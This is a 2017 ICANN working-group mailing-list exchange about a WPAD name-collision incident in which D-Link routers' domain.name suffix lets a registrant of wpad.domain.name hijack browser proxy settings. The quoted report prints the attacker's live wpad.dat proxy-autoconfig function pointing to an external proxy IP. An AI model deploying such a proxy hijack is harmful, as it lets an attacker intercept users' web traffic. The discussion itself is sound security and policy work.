[Gnso-newgtld-wg-wt4] Ongoing name collision incident

Langstone, Sarah slangstone at verisign.com
Thu Oct 5 18:51:59 UTC 2017


Rubens thanks for bringing this up, I thought I would share some background information on this issue with this group.



We have heard reports where D-Link routers append domain.name to Web Proxy Auto-Discovery Protocol (WPAD) resolution requests.  RFC 1535, from 1993, effectively outlines this security issue and makes recommendations to mitigate it. Individual security experts from organizations such as Google and Verisign have provided commentary [slprocessing] on the risks and nuances caused by interactions with Domain Name System (DNS) search list processing in new and existing domain names (at any point in the label space). Additionally, the Internet Corporation for Assigned Names and Numbers (ICANN) Security and Stability Advisory Committee (SSAC) has warned about the risks of such DNS search list processing for years now, and has outlined the behavior in SAC064 [sac064], SSAC Advisory on DNS "Search List" Processing.



In addition to the above, there are a large array of risks when networked devices use service discovery protocols such as WPAD, DNS Service Discovery (DNS-SD), and Intra-Site Automatic Tunnel Address Protocol (ISATAP). If these are not properly configured, they can be easily exploited.  The security community, national CERTs [cert-wpad], ICANN, and Verisign [vrsn-wpad] have warned about these risks for some time now. With more devices connected to the internet attempting "zero configuration" solutions for ease of deployment, and more adversaries searching for easily compromised devices, it is paramount that developers and manufacturers heed these warnings and ship their systems with secure configurations, and that network administrators ensure proper IT hygiene with these devices. The Internet Society and Online Trust Alliance's efforts [ota-trust] in this area are but one example of advice that network administrators and developers alike should be aware of.



There are some triage-level benefits inherent in protections offered by delegated top level domains (TLDs) versus undelegated TLDs, as outlined in [apples], as well as some related benefits provided by DNS Security Extensions (DNSSEC) in delegated TLDs. However, the attack surface is far larger than just at an authoritative name server/registry. These specific attack vectors can be exploited at any point in the label space, in both delegated and undelegated TLDs, in intermediate (e.g., recursive name server, on the wire man in the middle, etc.), and authoritative levels of the DNS.



Proper configurations [sac064] and solutions such as DNSSEC's cryptographic protections should be employed to minimize the potential for these attacks to be effectively exploited by an attacker. It is imperative that network administrators have awareness and visibility into this problem, and to directly address its actual causes instead of perennially triaging them through controls that only address symptoms of the problem (i.e., registration block lists, reserved names, etc. on authoritative name servers and/or registries are best used only as stop-gap solutions while operators, system administrators, and software engineers address the actual cause: end-system confusion over their use of namespaces, and improper search list configurations).



Verisign's security team has expressly contacted D-Link regarding this issue but has no further comment on the matter.





[rfc1535] https://www.ietf.org/rfc/rfc1535.txt



[slprocessing] https://forum.icann.org/lists/comments-name-collision-05aug13/msg00060.html



[sac064] https://www.icann.org/en/system/files/files/sac-064-en.pdf



[ota-trust] https://otalliance.org/news-events/press-releases/ota-releases-iot-trust-framework



[apples] https://forum.icann.org/lists/comments-name-collision-05aug13/pdfwMG5QF57h3.pdf



[cert-wpad] https://www.us-cert.gov/ncas/alerts/TA16-144A



[vrsn-wpad] https://www.verisign.com/en_US/internet-technology-news/cert-alert/index.xhtml





From: gnso-newgtld-wg-wt4-bounces at icann.org [mailto:gnso-newgtld-wg-wt4-bounces at icann.org] On Behalf Of Rubens Kuhl
Sent: Thursday, September 28, 2017 1:42 PM
To: gnso-newgtld-wg-wt4 at icann.org
Subject: [EXTERNAL] [Gnso-newgtld-wg-wt4] Ongoing name collision incident





Nothing like real life experience to base policy discussions: there is an ongoing name collision incident in a legacy gTLD.



D-Link routers have a default parameter given to local networks the suffix domain.name ; so, names without a full domain name get appended domain.name for its queries.



Microsoft operating systems query for the string "wpad" to determine local proxy servers of an organisation.



.name is a registry where a domain is required to be first.last.name , with two labels.



So... someone registered wpad.domain.name and is now taking over browsing traffic for the affected users, which can be in the order of millions but are least in the thousands.



For live view of the redirection process:

https://gwhois.org/wpad.domain.name+dns



http://wpad.domain.name/wpad.dat will return the list of proxy servers under attacker control.



(It currently returns this:

function FindProxyForURL(url, host) {

                        return 'PROXY 185.82.212.95:8080; DIRECT';

}

)









Policy question for the item "name collisions in legacy gTLDs" is whether contracted parties should be obliged to act in a certain way under similar circumstances.





Rubens



-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mm.icann.org/pipermail/gnso-newgtld-wg-wt4/attachments/20171005/bf0e78be/attachment-0001.html>


More information about the Gnso-newgtld-wg-wt4 mailing list